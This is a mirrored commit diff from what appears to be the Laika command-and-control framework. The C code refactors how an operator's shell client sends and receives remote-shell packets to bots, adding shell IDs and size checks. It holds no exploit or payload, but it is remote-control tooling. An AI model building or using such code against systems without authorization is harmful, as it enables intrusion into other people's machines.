1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-10-15 12:00:13 +00:00

Shell: minor refactoring, cnc supports mutiple shells per auth clients

- while cnc supports multiple shells per auth client, the LaikaShell still only supports 1 concurrent shell at a time.
	this feature is just preparing boilerplate for future features. shell treats all SHELL_* packets for the same shell, regardless of shellID
This commit is contained in:
2022-05-20 14:10:53 -05:00
parent e3f6b76e35
commit 0fdca35f87
8 changed files with 173 additions and 137 deletions

View File

@@ -100,9 +100,21 @@ void shellC_handleRmvPeer(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uDat
shellC_rmvPeer(client, bot, id);
}
void shellC_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
/* stubbed! this packet is a no-op currently */
}
void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
uint8_t buf[LAIKA_SHELL_DATA_MAX_LENGTH];
tShell_client *client = (tShell_client*)uData;
uint32_t id;
/* ignore packet if malformed */
if (sz > LAIKA_SHELL_DATA_MAX_LENGTH+sizeof(uint32_t) || sz <= sizeof(uint32_t))
return;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
sz -= sizeof(uint32_t);
/* sanity check */
if (!shellC_isShellOpen(client))
@@ -114,10 +126,13 @@ void shellC_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD
void shellC_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
tShell_client *client = (tShell_client*)uData;
uint32_t id;
laikaS_readInt(&peer->sock, &id, sizeof(uint32_t)); /* this is ignored for now */
/* sanity check */
if (!shellC_isShellOpen(client))
LAIKA_ERROR("LAIKAPKT_SHELL_DATA: No shell open!\n");
return; /* ignore invalid CLOSE packets */
/* close shell */
shellC_closeShell(client);
@@ -142,9 +157,13 @@ struct sLaika_peerPacketInfo shellC_pktTbl[LAIKAPKT_MAXNONE] = {
shellC_handleRmvPeer,
crypto_kx_PUBLICKEYBYTES + sizeof(uint8_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
shellC_handleShellOpen,
sizeof(uint32_t) + sizeof(uint16_t) + sizeof(uint16_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
shellC_handleShellClose,
0,
sizeof(uint32_t),
false),
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
shellC_handleShellData,
@@ -355,21 +374,27 @@ void shellC_openShell(tShell_client *client, tShell_peer *peer, uint16_t col, ui
}
void shellC_closeShell(tShell_client *client) {
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */
if (!shellC_isShellOpen(client))
return;
/* send SHELL_CLOSE request */
laikaS_emptyOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_startOutPacket(client->peer, LAIKAPKT_SHELL_CLOSE);
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
laikaS_endOutPacket(client->peer);
client->openShell = NULL;
}
void shellC_sendDataShell(tShell_client *client, uint8_t *data, size_t sz) {
uint32_t id = 0; /* we will *ALWAYS* only have one shell open */
/* check if we have a shell open */
if (!shellC_isShellOpen(client))
return;
laikaS_startVarPacket(client->peer, LAIKAPKT_SHELL_DATA);
laikaS_writeInt(&client->peer->sock, &id, sizeof(uint32_t));
laikaS_write(&client->peer->sock, data, sz);
laikaS_endVarPacket(client->peer);
}